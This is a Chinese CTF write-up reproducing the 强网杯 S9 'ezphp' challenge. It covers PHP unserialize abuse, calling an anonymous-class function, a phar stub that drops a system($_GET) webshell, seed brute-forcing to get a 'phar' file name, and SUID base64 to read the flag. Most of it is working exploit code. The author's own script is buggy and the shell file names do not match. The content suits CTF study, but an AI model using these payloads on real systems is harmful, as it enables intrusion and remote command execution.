强网杯 s9 尝试复现
ezphp
tags: 反序列化,php匿名类调用,phar传马,suid提权
源码:
1
| function generateRandomString($length = 8){$characters = 'abcdefghijklmnopqrstuvwxyz';$randomString = '';for ($i = 0; $i < $length; $i++) {$r = rand(0, strlen($characters) - 1);$randomString .= $characters[$r];}return $randomString;}date_default_timezone_set('Asia/Shanghai');class test{public $readflag;public $f;public $key;public function __construct(){$this->readflag = new class {public function __construct(){if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {$time = date('Hi');$filename = $GLOBALS['filename'];$seed = $time . intval($filename);mt_srand($seed);$uploadDir = 'uploads/';$files = glob($uploadDir . '*');foreach ($files as $file) {if (is_file($file)) unlink($file);}$randomStr = generateRandomString(8);$newFilename = $time . '.' . $randomStr . '.' . 'jpg';$GLOBALS['file'] = $newFilename;$uploadedFile = $_FILES['file']['tmp_name'];$uploadPath = $uploadDir . $newFilename; if (system("cp ".$uploadedFile." ". $uploadPath)) {echo "success upload!";} else {echo "error";}}}public function __wakeup(){phpinfo();}public function readflag(){function readflag(){if (isset($GLOBALS['file'])) {$file = $GLOBALS['file'];$file = basename($file);if (preg_match('/:\/\//', $file))die("error");$file_content = file_get_contents("uploads/" . $file);if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {die("Illegal content detected in the file.");}include("uploads/" . $file);}}}};}public function __destruct(){$func = $this->f;$GLOBALS['filename'] = $this->readflag;if ($this->key == 'class')new $func();else if ($this->key == 'func') {$func();} else {highlight_file('index.php');}}}$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';@unserialize($ser);
|
ai反混淆之后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| <?php
function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key;
public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed);
$uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) { unlink($file); } }
$randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.jpg'; $GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file);
if (preg_match('/:\\/\\//', $file)) { die("error"); }
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\\?|\\:\\/\\/|ph|\\?\\=/i', $file_content)) { die("Illegal content detected in the file."); }
include "uploads/" . $file; } } } }; }
public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') { new $func(); } elseif ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser);
?>
|
先尝试触发反序列化吧,
1 2 3 4 5 6 7 8 9 10 11
| <?php class test{ public $readflag; public $f; public $key; }
$a=new test; $a->f ="phpinfo"; $a->key = 'func'; echo serialize($a);
|
对应题目
1 2 3 4 5 6 7 8 9 10 11 12
| public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') { new $func(); } elseif ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } }
|
note:这里的$func()会把变量$func的字符当做函数来执行
根据上传文件的思路:
是要触发反序列化上传文件,然后来传马
要进入到readflag函数里才能上传文件,但是能看到文件上传的readflag函数在readflag变量里定义的匿名类里,是无法正常调用的。
匿名类:
1
| $this->readflag = new class{}
|
这里我们能看到,若是直接new readflag是会返回class realflag 不存在的,因为readflag是一个变量名!
而上传文件的函数的readflag()在匿名类里,要想上传文件就需要进入到匿名类。

这里能看到匿名类的命名规则,在正常的程序会命名在 ‘行数$第几个定义的’
直接从路径上调用这个类里函数就能成功调用。
.phar写马
接下来就是要传马了,能看到php里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\\/\\//', $file)) { die("error"); } $file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\\?|\\:\\/\\/|ph|\\?\\=/i', $file_content)) { die("Illegal content detected in the file."); }
include "uploads/" . $file; } } }
|
正则还是很严格的,
看到师傅们的wp是传phar马,以前都不知道有这种东西,学习了。
note: phar 传马
PHP 的 include 触发 Phar 反序列化的条件:
不需要 .phar 扩展名!只需要文件内容是合法的 Phar 包,并且文件名中包含 phar 子串即可。
php的include函数只要一匹配到phar就会把文件当成phar执行,这样就可以写入木马
然后去找一个phar写马文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $phar = new Phar('exploit.phar'); $phar->startBuffering();
$stub = <<<'STUB' <?php system('echo "<?php system(\$_GET[1]); ?>" > 1.php'); __HALT_COMPILER(); ?> STUB;
$phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();
?>
|
之后我们需要运行文件来生成phar文件,然后把phar名字按waf改掉,不要出现ph,然后用gzip压缩为gz文件
然后是要在文件名里写入phar这个关键字,但是文件名我们不可控。
代码里会强制命名上传文件为.jpg后缀并且随机分配命名。
接下来的思路是,因为文件名是随机的,但是随机种子是根据我们文件名来生成的,需要随机到phar这个组合
1 2 3 4 5 6 7 8
| $seed = $time . intval($filename); mt_srand($seed);
$randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename;
|
随机字符的生成由seed控制,而seed的生成又可以由文件名来控制,
而php intval函数来获取整数,
可以尝试写个脚本来爆破当前时间+特定字符能出来.phar字符的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
$filnename = 0; $end = 0; for(mt_srand($seed);$end==0;$filnename++){ $randomstr = generateRandomString(8); $time = date("Hi"); $seed = $time.$filnename; if (preg_match('/.phar/', $randomstr)){$end = 1;} echo "当前种子:".$seed; echo "\n"; echo "当前随机结果:".$randomstr; } if($end = 1){ echo "正确的种子和结果文件名:".$seed; echo " ".$randomstr; }
|
数组序列化
最后要同时触发实例化类和调用函数。
思路是构造一个数组类的序列化,这里我们直接看星盟战队的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; } date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key; }
$readflag=1; while (true){ $time = date('Hi'); $seed = $time . intval($readflag); mt_srand($seed); $str = generateRandomString(8); if(substr($str, 0, 4) === 'phar'){ echo $readflag, PHP_EOL.'<br />'; echo $str, PHP_EOL.'<br />'; echo $seed, PHP_EOL.'<br />'; break; }else{ $readflag++; } }
$test = new test(); $test->readflag = $readflag; $test->key = 'class'; $test->f = 'test';
$test2 = new test(); $test2->readflag = $readflag; $test2->key = 'func'; $test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");
$exp=serialize(array($test, $test2)); echo $exp, PHP_EOL.'<br />'; ?> <!DOCTYPE html> <html> <head> <title>File Upload</title> </head> <body> <h2>Upload File</h2> <form action='http://localhost:8080/?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <input type="submit" value="Upload"> </form> </body> </html>
|
注意里面的细节
1 2
| 随机种子猜测方法,这里要求要生成的前4个字符组成连续的'phar',刚才我自己写的没有这个要求 调用匿名类里函数的办法,也和我上面的不一样
|
实测这个exp的调用才是有效的。。。
然后访问
http://localhost:8080/shell.php?cmd=ls
getshell。
suid提取
原题是没有权限读取flag的。
find 4000权限,然后发现有base64有,直接用base64读取然后输出即可。
学习的wp: https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/#title-12